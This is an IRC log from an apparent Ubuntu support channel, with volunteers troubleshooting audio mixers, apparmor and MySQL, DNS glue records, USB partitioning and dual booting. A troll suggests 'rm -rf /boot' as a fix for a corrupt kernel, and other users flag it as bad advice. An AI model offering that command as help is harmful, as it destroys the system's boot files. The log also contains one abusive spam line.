[14:13] <Dr_Willis> http://www.ubuntututorials.com/change-username-ubuntu-12-04/
[14:14] <alanbananas> BluesKaj: What would the speaker out ctrl be named?
[14:14] <alanbananas> PCM? Line?
[14:15] <alanbananas> S/PDIF?
[14:15] <Dr_Willis> pcm is the main audio i belive
[14:15] <BluesKaj> alanbananas, which chip is listed in alsamixer top left ? The speaker output will be "speaker" , if you have such a ctrl
[14:15] <Dr_Willis> line = line in. spdif = one of those fancy input/outputs
[14:16] <alanbananas> Analog Devices AD1984A
[14:16] <alanbananas> BluesKaj: There is no such ctrl as speaker though, only things like "Front, Headphone, PCM, LINE, CD, etc)
[14:16] <BluesKaj> PCM is your master alanbananas , I already mentioned that
[14:17] <BluesKaj> alanbananas, probly fron , just turn them all up , if nothing's connected then it won't matter
[14:17] <alanbananas> BluesKaj: But Master is already listed amongst Headphone PCM etc, anyway it doesnt seem to work
[14:18] <BluesKaj> what the volume is
[14:18] <jgdx> Anyone know if http://kernel.ubuntu.com/~kernel-ppa/mainline/ has a working mirror?
[14:18] <alanbananas> Around 50 on all the ones which are not disabled (some - like headphones) wont let me change up their volume
[14:19] <alanbananas> Actually though, its interesting that when I unmute beep and remute it, I head a click in my headphones
[14:20] <alanbananas> Ooo wait
[14:20] <alanbananas> I got a noise
[14:20] <BluesKaj> alanbananas, ok open a terminal and do , sudo modprobe snd-hda-intel , then reboot
[14:20] <alanbananas> Okay
[14:20] <alanbananas> Wait
[14:20] <alanbananas> I have audio working now
[14:22] <Dr_Willis> Now Jam to your Kenny G. Collection! ;)
[14:22] <alanbananas> I have to have all "Master, Headphone, PCM, and Front" unmuted
[14:22] <ecips> Hello!
[14:22] <alanbananas> BluesKaj: Okay ive figured the problem
[14:22]  * ecips wonders why ftp.au.ubuntu.org resolves to an IP address in Spain??
[14:22] <Dr_Willis> Master would be ALL the audio channels I think.  if it was muted then everything would be mute.. PCM is the normal Audio out ibelive.
[14:22] <ecips> Can anyone enlighten me?
[14:23] <Dr_Willis> ecips:  its on vacation? ;) No idea really how are you determining its ip/location?
[14:23] <alanbananas> BluesKaj: The problem is "amixer set Master toggle" mutes Master, Headphone, PCM and Front, but if you do "amixer set Master toggle" as second time, it only unmutes Master
[14:24] <alanbananas> When it actually needs to Toggle all four of them

[14:26] <ecips> Wiz_KeeD: addgroup :)
[14:27] <Wiz_KeeD> add all the group by hand? is that all? :))
[14:27] <alanbananas> BluesKaj: Ahah found this https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/878986
[14:27] <seanwash> Hello, would someone be able to help me with my public key issue? I have created one, but when I use ssh-add -l it says there are no keys. I try adding it and w/o sudo and I get permission denied but when I use sudo it says that I can't connect to my agent.
[14:27] <llutz> Wiz_KeeD: sudo usermod -aG group,group,group newusername                 get the list of groups from "groups olduser"
[14:27] <Dr_Willis> be carefull with adding groups. ;) theres some command that people mess up that removes all the users groups by mistake ive seen.
[14:28] <Wiz_KeeD> :-s
[14:28] <Wiz_KeeD> me scared
[14:28] <llutz> well don't miss the -a
[14:28] <Dr_Willis> you sare adding a new user.. so even if you mess up.. you still have the old user...
[14:28] <Dr_Willis> thats sort of the point of adding a user. not using usermod directly on the existing user
[14:29] <Wiz_KeeD> yeah i see the caution in it
[14:29] <alanbananas> BluesKaj: Seems like this fix is the following: amixer -D pulse set Master 1+ toggle
[14:30] <alanbananas> BluesKaj: Thanks for your help debugging
[14:30] <ecips> pulseaudio has other bugs at present too - in Raring at least.
[14:31] <BluesKaj>  alanbananas np , glad you got ti working
[14:31] <BluesKaj> ecips, like ?
[14:31] <llutz> !raring
[14:31] <BluesKaj> ecips, I'm on raring , no audio trouble here
[14:32] <RyanC_> Have you tried rm -rf /boot ?  That should fix your issue by regenerating the kernel files.
[14:32] <ecips> pulseaudio doesnt start - it depends on pulseaudio-esound-compat:i386 - even on x64 platforms
[14:32] <ecips> so you need to install it manually
[14:32] <RyanC_> It seems that your kernel might be corrupt
[14:32] <RyanC_> try regenerating it
[14:33] <llutz> !ops | RyanC_  giving bad advices again
[14:33] <llutz> !danger
[14:33] <ecips> RyanC_: What you smoking boy?
[14:33] <Arney> When I try to new accounts and one old account, my session flashes back to the login screen. Nothing interesting in syslog, any ideas?
[14:33] <llutz> ecips: known troll, don't feed pls
[14:33] <Arney> /s/try to/try to login to
[14:34] <Dr_Willis> Arney:  even a newly made user has the issue> and the guest account as well?
[14:34] <ecips> Arney: ctrl-alt-f1 - Can you login on the console?
[14:35] <ecips> Arney: alt-F7 to get back to the GUI
[14:35] <Arney> Dr_Willis: Newly made users do have the issue, trying with the guest account now
[14:35] <Arney> ecips: yes I can
[14:35] <ecips> So console login works, GUI login doesnt?
[14:35] <Dr_Willis> Arney:  as a test, try a differnt desktop instead of unity. somting very basic like openbox.
[14:35] <Arney> Dr_willis: guest user has the same problem
[14:35] <Dr_Willis> he is logging in it seems and X is crashing back to the Login screen
[14:36] <Arney> Dr_Willis: I deleted all the desktops except gnome-failsafe :)
[14:36] <ecips> Look in ~/.xsession-errors perhaps?
[14:36] <Dr_Willis> another test. try stopping the lightdm service, and login at the console and see if you can use startx
[14:36] <Dr_Willis> Arney:  perhaps thats the issue then?
[14:36] <Arney> ecips: For which user?
[14:37] <Arney> Dr_Willis: how would I go about making the users use gnome-failsafe by default... eureka!
[14:37] <Arney> Xsession defaults perhaps.
[14:37] <uictamale> Upon further investigation, something is automatically making a symlink from ~/.xsession-errors to /dev/null - what would be doing this?
[14:37] <llxpad> bpython breaks in precise (when used in spanish, at least) but works if I backport it from raring. which would be the procedure to ask an official backport in precise?
[14:38] <Toph2> i have just installed Ubuntu 12.04 on a new machine,,, occasionally the machine hangs,, all panels disappear, including the unity sidebar.

[14:40] <Walex2> Toph2: poorly worded question in «Anyone experience this before?»
[14:41] <andrea_> how can i get rid of the amazon icon on the unity bar on 12.10 ?  It doesn't let me press "rigt-click  exit"
[14:41] <Toph2> Walex2,,, ok,,, i was wondering about that,,, rather,'Anyone know a solution to the problem?'
[14:41] <Walex2> Toph2: anyhow check the logs in '/var/log/' for relevant messages
[14:41] <Walex2> Toph2: «Anyone know a solution to  the problem
[14:41] <Toph2> Walex2,,, thanks,, i will check
[14:42] <Walex2> Toph2: «Anyone know a solution to  the problem» would require psychic scan of everybody on Earth :-)
[14:42] <Walex2> Toph2: the right question might be "What can I do to investigate?"
[14:42] <Toph2> Walex2,,, which log file would be the most helpful?
[14:43] <Walex2> Toph2: usually 'ls -ltr /var/log/' will tell you the latest modified log files, so you can figure out which ones are likelty to contain new entries related to your problem.
[14:44] <maka> register password
[14:44] <Walex2> Toph2: anyhow check towards the end of '/var/log/Xorg.0.log' and 'kern.log', 'messages'
[14:45] <Walex2> Toph2: BTW, is your home directory on an NFS mount?
[14:45] <big_cocks> hi
[14:46] <big_cocks> go f uck your mother
[14:46] <big_cocks> ok
[14:47] <lucido> my network manager keeps asking me for the password if I'm farther from the ap than 2 or 3 meters
[14:47] <ecips> Heh
[14:47] <ecips> where do they all come from?
[14:47] <ecips> lucido: Sounds like you need a better antenna
[14:48] <lucido> ecips, better antenna?
[14:48] <lucido> I don't think that it's a hardware problem
[14:48] <gabi_sublime> hi men!  can tell me someboy how can i open the folder "etc" by xwindow?
[14:48] <lucido> the signal strength is fine
[14:48] <ecips> lucido: I presume AP == Access Point?
[14:48] <lucido> yes
[14:49] <Toph2> Walex2,,, no NSF mount
[14:49] <lucido> any antenna should do within 10 meters
[14:49] <ecips> lucido: Have you tried rebooting the AP? Is this a new problem, or has it always been there?
[14:50] <gabi_sublime> hi men!  can tell me someboy how can i open the folder "etc" by xwindow?
[14:50] <lucido> ecips, the ap is fine problem is with my laptop
[14:50] <hitesa> hi
[14:50] <hitesa> anyone here ?
[14:50] <hitesa> got a question
[14:51] <VIVID> no
[14:51] <grzywacz> sorry, this channel is empty
[14:51] <dweez> Just ask the question
[14:51] <VIVID> ask about asking first
[14:52] <hitesa> If I change a ip of a dns server like ns1.doool.com -> old ip to new ip will it affect the domains associated with that nameserver?
[14:52] <ecips> lucido: Humour me - reboot the AP :)
[14:52] <hitesa> will also modify the ip on the domain nameservers
[14:53] <hitesa> on associated domains ?
[14:53] <ecips> hitesa: The domains should be delegated to the host name of the DNS server
[14:53] <ecips> and if the host name is not in the same domain there should not be any glue records.
[14:53] <hitesa> so domains arent delegated by ip ?
[14:53] <hitesa> so domains name servers arent delegated by ip ?
[14:54] <ecips> is doool.com the domain name in question?
[14:54] <ecips> hitesa: Not unless the name server is on the same domain.
[14:54] <ecips> In that case there are a couple of extra records - called glue records
[14:54] <ecips> so if ns1.foo.com is authoritative for foo.com then there will be glue records.
[14:55] <ecips> but if ns1.bah.com is auth. for foo.com then there will not - in most circumstances :)
[14:55] <lucido> ecips, I did
[14:55] <ecips> I have seen errors in DNS zones before.
[14:55] <ecips> lucido: What make/model of AP?
[14:56] <hitesa> so the best if I change ip of nameservers is also to change nameservers of the domains ?
[14:56] <lucido> ecips, dlink dir-615
[14:56] <ecips> hitesa: No, you just need to make sure that if your zone has glue records those are also updated.
[14:56] <lucido> ecips, Network controller: Atheros Communications Inc. AR9285 Wireless Network Adapter (PCI-Express) (rev 01)
[14:57] <ecips> hitesa: I have many domains delegated to a single domain - I can change the IP of the single domain and all the others will still work.
[14:58] <ecips> but - in the case of .com and .net domains particularly, you also need to have the IP's of your NS's registered and make sure the glue records are changed
[14:58] <ecips> otherwise the whole lot will fall off the internet
[14:59] <ecips> lucido: Anything in your log files?
[14:59] <ecips> in the logs on the AP?
[15:00] <lucido> ecips, http://pastebin.com/fjhBWF66
[15:01] <lucido> ecips, what happens is that I can connect if I'm right next to the ap but when I move away a biut then it keeps asling for the password
[15:01] <ecips> lucido: I'll probably get in trouble for this, but I really dont  like NetworkManager much :)
[15:01] <ecips> it's always been a pain in the ass
[15:01] <lucido> ecips, it works good when it does
[15:02] <ecips> I just configure my nic's myself in /etc/network/interfaces
[15:02] <JBzh> Hi. I desactivated "sticky edge" but still windows stick to the top of the screnn when moving it. I don't find clues on how to desactivate this effect, can someone give me a hint ?
[15:03] <bazhang> JBzh, in compizconfig-settings-manager , I would imagine. check there
[15:03] <JBzh> bazhang: I'll check there, thank you
[15:03] <Night-hacks> there is no /proc/config.gz ? how can i enable it ?
[15:04] <bazhang> Night-hacks, to do what
[15:04] <Night-hacks> bazhang: i want to see my kernel configs
[15:04] <Night-hacks> bazhang: and change them
[15:05] <bazhang> Night-hacks, change how exactly. Please be very clear
[15:05] <Night-hacks> bazhang: for enabling loop devices
[15:10]  * Dr_Willis turns on his mindreading ability...
[15:10] <ericus> Hey guys. Is it impossible to get a transparent indicator-applet on the top panel using Ubuntu 12.04 w. Gnome Classic (Gnome 3)?
[15:10] <dagerik> hey. i need to check the source code for something. which one of these files is the one being compiled into binary on my system. http://ftp.belnet.be/ubuntu.com/ubuntu/pool/main/b/bsd-finger/
[15:10] <Dr_Willis> You wish to see the kernel config file and recompile the kernel to enable  the loopback devices?
[15:10] <ericus> I can't find any solution
[15:10] <dagerik> i need the 64 bit version
[15:11] <Dr_Willis> the apt commands have a feature to download the source packages from a repo. ive not used that in ages however.
[15:11] <Dr_Willis> !source
[15:13] <vitimiti> (·_·)/
[15:13] <minimec> Night-hacks: For video probably this package will do. 'v4l2loopback-dkms'. For audio, you can do this with pulseaudio. Maybe you have to install 'pacucontrol' and 'paman'. see here: http://thelinuxexperiment.com/guinea-pigs/jon-f/pulseaudio-monitoring-your-line-in-interface/
[15:14] <riqdiiz> hi vitimiti
[15:14] <Night-hacks> minimec: i want to set CONFIG_IKCONFIG=y ,CONFIG_IKCONFIG_PROC=y, of my Kernel
[15:15] <media-centre> hey how can i configure the music libary to my music folder
[15:16] <riqdiiz> how do i perform a frugal install for slitaz
[15:16] <bazhang> riqdiiz, ask slitaz support
[15:17] <bazhang> riqdiiz, this is UBUNTU support
[15:17] <bazhang> !alis | riqdiiz have a search for their channel
[15:17] <MonkeyDust> riqdiiz  type /join #slitaz
[15:18] <Guest1319> hola
[15:19] <riqdiiz> Thanks i'm in.
[15:19] <Guest1319> hola
[15:19] <Guest1319> como se maneja esto
[15:19] <MonkeyDust> !es
[15:20] <media-centre> right so can anyone help
[15:21] <bazhang> media-centre, which player
[15:21] <media-centre> no its the dash hoime button on the side
[15:21] <media-centre> where theirs a music tab i want to configure that to my music folder
[15:22] <hemangpatel> After dual boot installation, Does it overwrite MBR ?
[15:23] <darkbasic> what about kernel.ubuntu.com? why is it down?
[15:25] <MonkeyDust> darkbasic  it doesnt say
[15:25] <BEPC> wazzabi
[15:28] <auronandace> hemangpatel: grub? yes, thats the default. windows? yes.
[15:29] <hemangpatel> auronandace : ubuntu ?
[15:29] <mnaser> nfs4 + ubuntu, idmapd is running on both client and server, if i create a file, it's created under nobody/nogroup even if i'm creating it under root (which is obviously uid 0 on both systems).
[15:29] <media-centre> so does anyone know
[15:29] <mnaser> i've sorta ran out of ideas now
[15:29] <media-centre> i mean it must be configurable
[15:29] <auronandace> hemangpatel: ubuntu uses grub
[15:30] <media-centre> so no one knows
[15:31] <hemangpatel> I have already installed windows.. I want dual boot (like selection on startup). So after installing ubuntu, does i get selection like ubuntu & windows ?
[15:31] <auronandace> hemangpatel: yes, grub does that
[15:32] <hemangpatel> means i get selection ? am i right ?
[15:32] <auronandace> hemangpatel: yes
[15:32] <media-centre> yea man
[15:32] <media-centre> its usually at the end that you can install a booloader
[15:32] <hemangpatel> thanks god & you.
[15:33] <hemangpatel> what is LTS edition means ?
[15:33] <media-centre> long term service
[15:33] <hemangpatel> If i install not LTS then ?
[15:34] <media-centre> well it means you get long term support for that particular linux
[15:34] <Vykk> hemangpatel, stands for Long Term Support, it means they will continue supporting and patching that version
[15:34] <auronandace> hemangpatel: lts = long term support, non-lts releases are supported for 18 months from release
[15:35] <hemangpatel> after that. Do i need to uninstall ?
[15:35] <auronandace> hemangpatel: no, it just means you get no updates
[15:35] <auronandace> hemangpatel: it is best to either stick to the latest or stick to lts
[15:36] <hemangpatel> ok. During installation which partition is necessary ? means there are many swap,/home,/
[15:36] <v0lksman> I'm having a very hard time getting the latest igb module to stay active after a reboot in 12.04 LTS server.  Any good docs anyone knows of to help?
[15:37] <ericus> Hey guys. Is it impossible to get a transparent indicator-applet on the top panel using Ubuntu 12.04 w. Gnome Classic (Gnome 3)?
[15:37] <auronandace> hemangpatel: only / is absolutely necessary, swap is usually recommended
[15:38] <hemangpatel> auronandace : / is for ?
[15:38] <auronandace> hemangpatel: thats the root of the filesystem, everything goes under /
[15:39] <Walex2> hemangpatel: as <auronandace> was saying only the "root" filetree is strictly necessary.
[15:39] <Vykk> hemangpatel, / is the Root directory, it's the equivalent of c:\ on windows
[15:39] <Walex2> hemangpatel: but it is usually very convenient to have a second one for "/home", so system and user files are separate, and it is easier to reinstall the system without risking damage to user files.
[15:39] <ecips> argh! - nvidia module not compiling properly in raring
[15:40] <khaki> could soemone help me with apparmor, i need to move the directory that mysql.sock is in
[15:40] <auronandace> !13.04 | ecips
[15:40] <hemangpatel> thanks to all.. I'm ready for ubuntu 12.10 using USB :)
[15:40] <khaki> i cant seem to get mysql to start at all and its throwing lots of stuff in syslog
[15:41] <Walex2> khaki: edit the relevant file under '/etc/apparmor.d/'
[15:41] <Walex2> khaki: and restart the 'apparmor' service.
[15:41] <khaki> Walex2: yea but what do i need to add to it, thats what i cant find
[15:41] <Walex2> khaki: I think that is described in some Wiki page or another
[15:41] <hemangpatel> How can i start internet using phone modem in linux ?
[15:41] <khaki> even with apparmor stopped im getting these error
[15:41] <khaki> init: mysql main process (26008) terminated with status 1
[15:42] <khaki> id like to not even use apparmor
[15:42] <auronandace> hemangpatel: a dialup modem?
[15:42] <Walex2> khaki: AppArmor is pretty good and simple, better to keep it.
[15:42] <Walex2> khaki: 'grep mysql /etc/apparmor.d/*' might help :-
[15:43] <khaki> its apparentlynot THAT simple
[15:43] <Walex2> khaki: as to 'init: mysql main process (26008) terminated with status 1
[15:43] <Walex2> khaki: check the system logs, and the mysql logs
[15:44] <auronandace> !modem | hemangpatel
[15:44] <khaki> Walex2: there is no mysql logs (yet) this is a brand new install
[15:45] <Walex2> khaki: I alos did a Web search like https://www.google.com/search?q=ubuntu+apparmor+mysql and that has quite a few entries
[15:45] <ecips> (23:44:16) ecips left the room (quit: Ping timeout: 240 seconds).  <--- Now thats strange - you dont usually see yourself timeout? :)
[15:46] <hemangpatel> auronandace : thanks.
[15:46] <hemangpatel> bookmarked
[15:46] <khaki> Walex2: yea and i cant find anything that has to do with what im specifically asking
[15:47] <Walex2> khaki: I think that the 'grep' I gave you earlier shows you where to change the directory...
[15:48] <khaki> the file i know which one it is,
[15:48] <khaki> but how to edit it/what to add.. zilch
[15:48] <khaki> the usr.sbin.mysql file is basically empty
[15:48] <psychopathic>   /j #physics
[15:49] <Walex2> khaki: that's bad news, because here on 12.04 I get http://paste.debian.net/212471/
[15:49] <khaki> Walex2: i also dont even see it loading the mysql profile when i restart apparmor
[15:50] <Walex2> khaki: note also that the file name is not "usr.sbin.mysql"
[15:50] <khaki> Walex2:
[15:50] <khaki> root@60669:/etc# grep /var/run/mysqld /etc/apparmor.d/*
[15:50] <khaki> root@60669:/etc#
[15:50] <Walex2> khaki: you have a damaged installation.
[15:50] <khaki> how can i get apparmor back to 100% default?
[15:51] <johnjacobjingerh> is there a package for hemachi in ubuntu?
[15:51] <johnjacobjingerh> hamachi*
[15:51] <auronandace> !find hamachi | johnjacobjingerh
[15:51] <Walex2> khaki: each package add their own AppArmor profile, e.g.: mysql-server-5.5: /etc/apparmor.d/usr.sbin.mysqld
[15:52] <Walex2> khaki: you might want to reinstall 'mysql-server' or perhaps just to extract that file from it and put it back.
[15:52] <khaki> Walex2: when i restart apparmor, here is what i get in syslog
[15:52] <khaki> http://paste.debian.net/212472/
[15:53] <Walex2> khaki: that seems fine, if that is all the dæmons that you have installed.
[15:56] <Walex2> khaki: to double check that you are not missing other files wiht: debsums -sa mysql-server-5.5
[15:58] <khaki> sec..
[15:58] <andrea_> how do i remove the "amazon" icon on the unity menu on 12.10 ?
[15:58] <khaki> debsums: changed file /etc/apparmor.d/usr.sbin.mysqld (from mysql-server-5.5 package)
[15:58] <khaki> ok now how do i get apparmor to LOAD that
[15:59] <raven> xubuntu 12.10 not maximized windows hide behind panels, any ideas? http://picpaste.com/b580abeeea2bff2142dc3619eef7dedd.jpg
[16:00] <ecips> andrea_: apt-get remove unity-shopping-lens
[16:00] <ecips> andrea_: log off, log onm
[16:01] <andrea_> ecips: ok i'll try
[16:02] <Walex2> khaki: to reload it once you restored it restart the AppArmor service.
[16:03] <Evil_Eric> ok guys im on a fresh install of ubuntu 12.04LTS and when my problems arise i will be comming here to get them fixed
[16:03] <Dr_Willis> of course he may have been asking how to just remove the icon from the left hand side. ;)
[16:03] <ecips> Dr_Willis: I made the assumption he had a right-hand mouse button :)
[16:04] <cerps> can any one tell me how to configure pidgin on local server.
[16:04] <ecips> probably foolish of me :)
[16:04] <khaki> Walex2: it doesnt report in syslog that its actually loading that mysqld file
[16:04] <andrea_> ecips: guess didn't work :(
[16:04] <ecips> ok
[16:04] <ecips> right click the icon
[16:04] <ecips> and unlock it
[16:04] <ecips> Dr_Willis: You win :)
[16:05] <cerps> can any one tell me how to configure pidgin on local server
[16:05] <cerps> ?
[16:05] <cerps> ?
[16:05] <cerps> ?
[16:05] <FloodBot1> cerps: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[16:05] <andrea_> ecips: yes but i guess i must uninstall the thing
[16:05] <mz|`> TAGGLE !
[16:05] <Dr_Willis> cerps:  clarify what you mean
[16:05] <Dr_Willis> instead of flooding
[16:05] <ecips> cerps is gone :)
[16:05] <ecips> Oh, its back :)
[16:06] <mz|`> cerps: use your brain and the according documentation, stop flooding, be well.
[16:06] <khaki> Walex2: and i added this line "/opt/devel//var/run/mysqld/mysqld.sock w," and used "apparmor_parser -r /etc/apparmor.d/usr.sbin.mysqld" and it threw an error
[16:06] <cerps> Dr Willis> i would like to install pidgin on all my local network...
[16:06] <khaki> Walex2: "AppArmor parser error for /etc/apparmor.d/usr.sbin.mysqld in /etc/apparmor.d/usr.sbin.mysqld at line 4: syntax error, unexpected TOK_MODE, expecting TOK_OPEN
[16:06] <ecips> cerps: You want a local IRC server?
[16:06] <cerps> yaa
[16:07] <andrea_> ecips: ok, even tought with  dpkg -l | grep amazon i didn't find anything, i could uninstall it with ubuntu software center
[16:07] <andrea_> who knows
[16:07] <cerps> ecips: yes.. a local irc
[16:07] <khaki> and my usr.sbin.mysqld file was empty, even after debsums
[16:07] <Dr_Willis> cerps:  it pays to be clear...
[16:07] <mz|`> apt-get install ircd ?
[16:07] <ecips> apt-get install dancer ?
[16:07] <ecips> :)
[16:07] <mz|`> :)
[16:07] <Dr_Willis> cerps:  install an irc server and conigure it.. connect to it
[16:07] <ecips> apt-cache search ircd
[16:07] <ecips> numerous options
[16:07] <Dr_Willis> for a local lan. it may be best to use the most simplke irc server you can find. ;)
[16:11] <ecips> heh - as I suspected, theres even an ircd in perl
[16:11] <ecips> and a python one for the non-believers :)
[16:12] <Dr_Willis> i recall seeing minimal perl irc servers and clienjts ;)
[16:12] <Dr_Willis> i recall seeing them in ruby also
[16:12] <ecips> sirc :)
[16:13] <khaki> i got this thing a mess
[16:13] <ecips> awesome - think of how much you will learn fixing it :)
[16:14] <fission6> can i system use upstart and system v init
[16:15] <ecips> fission6: I'm afraid I dont understand you. Can you try and be a bit more descriptive?
[16:15] <Dr_Willis> fission6:  Upstart has features to be very backwards compatiable with SysV
[16:15] <ecips> Ubuntu uses both, side-by-side
[16:16] <fission6> ok, i keep getting the following issue and i dont know why http://dpaste.org/NuSvR/
[16:21] <khaki> i think i finally got it Walex2 .  thanks for help
[16:21] <khaki> i copied the usr.sbin.myqld file from another server, made my changes and presto it worked
[16:22] <marcappuccino> Is it possible to chroot into a persistent ubuntu USB drive, while on my regular install, and execute commands like apt-get upgrade etc?
[16:24] <c0dr> i have a question regarding integrating netgear wg111v3 on 64-bit ubuntu in a virtualbox. I have been told to just give up, but thats not an option. And ive made it work before. Do i need to open another virtual network connection, because all im working with now is eth0 and lo.. Last time i had mon0 running on wlan0 but id have trouble crossing over from my nat (eth0) -- so attempting to fix here
[16:25] <c0dr> brb with lsusb and ifconfig pastes ...
[16:25] <root____2> hi
[16:27] <c0dr> ifconfig/lsusb from previous posting: http://pastebin.com/aizz16Zv
[16:29] <Dr_Willis> marcappuccino:  it may need more then just chrooting. since the persstnat save file will need to be mounted somehow
[16:30] <dilligaf42> Greetings
[16:31] <Dr_Willis> Happy Cyber Monday. ;)
[16:31] <dilligaf42> You too
[16:33] <dilligaf42> I've got an interesting problem.  It's a keyboard issue...yesterday the N and 5 keys stopped working on one of my Ubuntu machines
[16:33] <dilligaf42> The simple solution would be replace the keyboard, which I did
[16:33] <dilligaf42> 3 keyboards, all of them have no N or 5
[16:34] <usr13> dilligaf42: How are you typing N and 5 now?  Copy and paste?
[16:34] <dilligaf42> Different computer
[16:34] <usr13> dilligaf42: Is it only the uppercase of n?
[16:34] <usr13> digadvan: Or, can you neither type N nor n ?
[16:34] <dilligaf42> no, it's the whole n key...
[16:35] <dilligaf42> No n or N, and no 5 or %
[16:35] <simion314> hi all, i connected a TV with a HDMi cable to my ubuntu PC, I now have the desktop cloned on the second monitor too, I want to extend my desktop how is the way to do it? is aticonfig a good idea?
[16:35] <usr13> ok... that IS interesting....  Not sure what it could be but...
[16:35] <marcappuccino> Dr_Willis: do you know How may I acheive this then, if there is a way?
[16:35] <simion314> mumy card is an AMD and i use the binary driver from repos
[16:36] <dilligaf42> I did try resetting keyboard options back to defaults, but no good.  I've run a PS2 keyboard and 2 different USB Keyboards and none of them give me n or 5
[16:36] <ecips> keymap?
[16:37] <marcappuccino> dilligaf42: maybe an ibus problem?
[16:37] <elijah> Is there an binary I can run to tell me how much each usb port is capable of outputting?
[16:38] <usr13> digadvan: Have you tried LiveCD?
[16:38] <dilligaf42> marcappuccino ibus?  how would I go about testing that?
[16:39] <SkippersBoss> simion314, look into xrandr to assist you.
[16:39] <usr13> dilligaf42: 12.04?
[16:39] <Dr_Willis> dilligaf42:  do they work on the console?
[16:39] <dilligaf42> Yes, 12.04
[16:39] <marcappuccino> sorry i disconnected
[16:39] <marcappuccino> Dash > ibus
[16:40] <usr13> dilligaf42: Can you answer Dr_Willis' question?
[16:40] <simion314> SkippersBoss: I tried srandr but it says that I give it a larger resolution then the maximum size but this is false I give one less, and also it lists the HDMi as DFP1, any hints?
[16:40] <usr13> dilligaf42: Ctrl-Alt-F6  (Try it there.)
[16:41] <usr13> dilligaf42: Ctrl-Alt and hit F6  (Try it there.)
[16:41] <marcappuccino> ok goodbye everyone
[16:41] <researcher123> why https://www.facebook.com/ takes infinite in Moziall firefox while all other sites open instantly?
[16:41] <SkippersBoss> i am not a specialist but i have heard of this error before. google the specific error.
[16:42] <SkippersBoss> you probably will find the cause
[16:42] <dilligaf42> Dr. Willis, let me check, I just noticed they dont' work in one program
[16:42] <usr13> researcher123: Lots of stuff to load from facebook
[16:42] <researcher123> SkippersBoss: ok.thanks
[16:42] <simion314> here is my srandr error/strange output http://pastebin.com/EV8jiUSK
[16:42] <usr13> dilligaf42: "they dont' work in one program"?
[16:43] <usr13> dilligaf42: Do you need to re-state the issue?
 disregard.  The keys work fine in everything else...I was so focused on what I was trying to get done, that I assumed the problem was with the OS or Keyboard...the problem is just related to the virutal machine I'm trying to run
[16:44] <Dr_Willis> ;)
[16:44] <Dr_Willis> Ok. slight support issue. getting this error...
[16:45] <Dr_Willis> W: Failed to fetch gzip:/var/lib/apt/lists/partial/us.archive.ubuntu.com_ubuntu_dists_quantal_main_source_Sources  Hash Sum mismatch
[16:45] <Dr_Willis> from an apt-get update
[16:45] <SkippersBoss> simion314,   and what is the outcome of xrandr -q
[16:45] <dilligaf42> Thanks guys
[16:45] <Dr_Willis> is that a server side issue?
[16:46] <dilligaf42> Lemme try apt-get update and see (now that I can type)
[16:47] <simion314> SkippersBoss:  http://pastebin.com/4asshqAx the xrandr output , thx for your timje
[16:47] <livingdaylight> greetings
[16:47] <Rosbuntu> i need a coder who can help me my wimax dongle work in kubuntu
[16:47] <livingdaylight> question: insert usb and it comes up, but when i launch gparted although it sees it it cannot access so as to delete and format the usb as I'd like. If I eject the usb then gparted doesnt' see it. Its a Catch-22 right now. Any advice?
[16:48] <usr13> livingdaylight: un-mount it before starting gparted.
[16:48] <usr13> livingdaylight: gparted does not want to work on a mounted device.
[16:49] <livingdaylight> usr13, I tried sudo umount /dev/sdb can't remember the result, but it didn't help
[16:49] <dilligaf42> Dr_Willis, I was able to apt-get update from 2 different machines without a problem
[16:49] <usr13> livingdaylight: remember the result.
[16:49] <Dr_Willis> dilligaf42:  its just that us.XXXX one that seems to be causing the issue here.
[16:49] <JoeyJoeJo> I have 3 openvpn client connections on one server. Can I restart just one of them? Doing `service openvpn restart` restarts all of them
[16:49] <usr13> livingdaylight: Did it say that it was busy?
[16:49] <JoeyJoeJo> I'm on Ubuntu 12.04
[16:49] <Dr_Willis> dilligaf42:  i removed the us. part in sources.list and its working now
[16:49] <livingdaylight> usr13, it results in sdb being unmounted and gparted not seeing it
[16:49] <Rosbuntu> can someone help me
[16:49] <dilligaf42> Ah, there ya go
[16:49] <Dr_Willis> livingdaylight:  theres unmount, then theres 'safely removeing'
[16:50] <usr13> livingdaylight: sudo fdisk -l |pastebinit
[16:50] <Dr_Willis> livingdaylight:  use the shell and the umount command may be a better way to do it.
[16:51] <usr13> livingdaylight: As Dr_Willis points out, it is more than likely that you are not getting the device un-mounted.
[16:51] <livingdaylight> Dr_Willis, saferly removing it or ejects certainly results in gparted not seeing it at all. However, I did try sudo umount /dev/sdb which seemed to have the same result as 'ejecting' 'safely removing it'
[16:51] <livingdaylight> usr13, ok, 1 moment while I do that
[16:52] <usr13> livingdaylight: You have to umount a partition, (not a device).  So, unless /dev/sdb has no partitions, umount /dev/sdb will not do anything.
[16:52] <Dr_Willis> livingdaylight:  i recall there being 2 differnt menu items once. unmount, then eject. one would disable/disconnect the device in such a way gparted wouldent see it. You woul dhave to unplyug/plug it back in.
[16:52] <Dr_Willis> but i havent messed with it in ages.
[16:52] <usr13> livingdaylight: Probably what you are looking for is;   sudo umount /dev/sdb1
[16:52] <ecips> Dr_Willis: You're correct, in so much as "eject" disables completely
[16:52] <livingdaylight> usr13, fdisk -l output: http://pastebin.com/CXTUiPnG
[16:53] <c0dr> im trying to integrate an rtl8187 (wg111v3) chip into an ubuntu virtualbox.. ive been successful once before but this time I keep failing. My virtualbox recognizes the device, but my config does not... heres paste of ifconfig and lsusb, any suggestions?:http://pastebin.com/aizz16Zv
[16:53] <fission6> what does init: uwsgi pre-start process (27719) terminated with status 2 mean? specially status 2?
[16:53] <livingdaylight> usr13, aha, well, it is notpartitioned as I previously used 'dd' to mount a bootable iso
[16:53] <ecips> livingdaylight: USB sticks often dont have a partition table
[16:53] <ecips> nothing to stop you making one though
[16:53] <simion314> SkippersBoss: is safe to use Catalyst Center and use xinerama? I mean if i break Xorg how could I restore it?
[16:53] <usr13> livingdaylight: Is it 8G?
[16:53] <livingdaylight> ecips, yea, that's what I@m trying to do
[16:54] <Dr_Willis> livingdaylight:  ahh.. ive had to use dd to 'zero' out flash drives after ive dd'ed isos to them.. to allow gparted to repartuoin them
[16:54] <ecips> livingdaylight: cfdisk might do better :)
[16:55] <livingdaylight> ecips, ok, lets see. Not familiar with cfdisk
[16:55] <usr13> livingdaylight: As ecips points out, fdisk or cfdisk might do the job for you.
[16:55] <livingdaylight> usr13, how?
[16:55] <usr13> livingdaylight: open terminal, type  cfdisk  hit enter.
